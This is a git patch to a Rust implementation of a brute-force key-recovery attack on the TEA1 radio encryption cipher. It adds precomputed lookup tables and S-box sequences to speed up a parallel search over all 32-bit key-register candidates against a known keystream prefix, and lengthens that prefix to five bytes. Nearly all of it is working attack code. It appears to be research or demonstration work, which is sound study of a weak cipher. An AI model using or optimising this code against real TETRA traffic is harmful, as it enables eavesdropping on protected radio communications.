From f85a2689337f28934591bb97f23d30f72a83ad0a Mon Sep 17 00:00:00 2001
From: Sam Hadow <sam.hadow@proton.me>
Date: Tue, 28 Apr 2026 11:44:01 +0200
Subject: [PATCH] precompute tables

---
 src/tea1_attack.rs | 101 +++++++++++++++++++++++++++++++++++----------
 1 file changed, 80 insertions(+), 21 deletions(-)

diff --git a/src/tea1_attack.rs b/src/tea1_attack.rs
index bd60c22..f70f902 100644
--- a/src/tea1_attack.rs
+++ b/src/tea1_attack.rs
@@ -4,41 +4,100 @@ use crate::tea1::*;
 use rand::Rng;
 use rayon::prelude::*;
 
+const fn precompute_deriv_lut(lut: &[u16; 8]) -> [u8; 65536] {
+    let mut table = [0u8; 65536];
+    let mut wst: usize = 0;
+    while wst < 65536 {
+        let mut st0 = (wst & 0xFF) as u8;
+        let mut st1 = (wst >> 8) as u8;
+        let mut out = 0u8;
+        let mut i = 0usize;
+        while i < 8 {
+            let dist = ((st0 >> 7) & 1) | ((st0 << 1) & 0x02) | ((st1 << 1) & 0x0C);
+            if (lut[i] & (1u16 << dist)) != 0 {
+                out |= 1u8 << i;
+            }
+            st0 = (st0 >> 1) | (st0 << 7);
+            st1 = (st1 >> 1) | (st1 << 7);
+            i += 1;
+        }
+        table[wst] = out;
+        wst += 1;
+    }
+    table
+}
+
+const fn precompute_reorder_lut() -> [u8; 256] {
+    let mut table = [0u8; 256];
+    let mut b: usize = 0;
+    while b < 256 {
+        let v = b as u8;
+        table[b] = ((v << 6) & 0x40) | ((v << 1) & 0x20) | ((v << 2) & 0x08)
+                 | ((v >> 3) & 0x14) | ((v >> 2) & 0x01) | ((v >> 5) & 0x02)
+                 | ((v << 4) & 0x80);
+        b += 1;
+    }
+    table
+}
+
+const DERIV_A_LUT: [u8; 65536] = precompute_deriv_lut(&TEA1_LUT_A);
+const DERIV_B_LUT: [u8; 65536] = precompute_deriv_lut(&TEA1_LUT_B);
+const REORDER_LUT: [u8; 256]   = precompute_reorder_lut();
+
+// 5 bytes: 54 + 19*4 = 149 rounds max
+const MAX_ROUNDS: usize = 149;
+
+#[inline(always)]
+fn precompute_sbox_seq(mut key_reg: u32, n_rounds: usize) -> [u8; MAX_ROUNDS] {
+    let mut seq = [0u8; MAX_ROUNDS];
+    for i in 0..n_rounds {
+        let idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize;
+        let so  = TEA1_SBOX[idx];
+        seq[i]  = so;
+        key_reg = (key_reg << 8) | (so as u32);
+    }
+    seq
+}
+
 /// Returns true if the candidate key_reg produces the exact known keystream prefix
 /// Early aborts on the first mismatch
 #[inline(always)]
-pub fn keyreg_matches_prefix(frame_number: u32, mut key_reg: u32, known_prefix: &[u8]) -> bool {
-    if known_prefix.is_empty() {
-        return true;
-    }
+pub fn keyreg_matches_prefix(
+    frame_number: u32,
+    key_reg: u32,
+    known_prefix: &[u8],
+) -> bool {
+    let n = known_prefix.len();
+    if n == 0 { return true; }
+
+    let total_rounds = 54 + 19 * (n - 1);
+    let sbox_seq = precompute_sbox_seq(key_reg, total_rounds);
 
     let mut iv_reg = expand_iv(frame_number);
-    let mut skip_rounds: u32 = 54;
+    let mut round  = 0;
 
-    for &target_byte in known_prefix {
-        for _ in 0..skip_rounds {
+    for (bi, &target) in known_prefix.iter().enumerate() {
+        let steps = if bi == 0 { 54 } else { 19 };
+        for _ in 0..steps {
             // Step 1: non-linear feedback from key register
-            let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize;
-            let sbox_out = TEA1_SBOX[sbox_idx];
-            key_reg = (key_reg << 8) | (sbox_out as u32);
+            let sbox_out = sbox_seq[round];
+            round += 1;
 
             // Step 2: derive 3 bytes from current state
-            let deriv_12 = state_word_to_newbyte(((iv_reg >> 8) & 0xFFFF) as u16, &TEA1_LUT_A);
-            let deriv_56 = state_word_to_newbyte(((iv_reg >> 40) & 0xFFFF) as u16, &TEA1_LUT_B);
-            let reord_4 = reorder_state_byte(((iv_reg >> 32) & 0xFF) as u8);
+            let deriv_12 = DERIV_A_LUT[((iv_reg >> 8)  & 0xFFFF) as usize];
+            let deriv_56 = DERIV_B_LUT[((iv_reg >> 40) & 0xFFFF) as usize];
+            let reord_4  = REORDER_LUT[((iv_reg >> 32) & 0xFF)   as usize];
 
             // Step 3: combine
-            let new_byte = deriv_56 ^ ((iv_reg >> 56) as u8) ^ reord_4 ^ sbox_out;
-            let mix_byte = deriv_12;
+            let new_byte = deriv_56 ^ (iv_reg >> 56) as u8 ^ reord_4 ^ sbox_out;
 
             // Step 4: update LFSR
-            iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64);
+            iv_reg = ((iv_reg << 8) ^ ((deriv_12 as u64) << 32)) | (new_byte as u64);
         }
 
-        if (iv_reg >> 56) as u8 != target_byte {
-            return false;
+        if (iv_reg >> 56) as u8 != target {
+            return false; // early abort; ~255/256 candidates exit here
         }
-        skip_rounds = 19;
     }
     true
 }
@@ -50,7 +109,7 @@ pub fn recover_tea1_keyreg(frame_number: u32, known_keystream: &[u8]) -> Option<
         return None;
     }
 
-    let check_len = known_keystream.len().min(4);
+    let check_len = known_keystream.len().min(5);
     let known_prefix = &known_keystream[0..check_len];
 
     (0u32..=u32::MAX).into_par_iter().find_any({
@@ -67,7 +126,7 @@ pub fn tea1_attack_example() {
     let reduced0 = init_key_register(&key0);
 
     let frame0 = 0x1111_1111u32;
-    let ks0 = tea1_keystream(frame0, &key0, 4);
+    let ks0 = tea1_keystream(frame0, &key0, 5);
 
     let recovered0 = recover_tea1_keyreg(frame0, &ks0);
     assert_eq!(recovered0, Some(reduced0));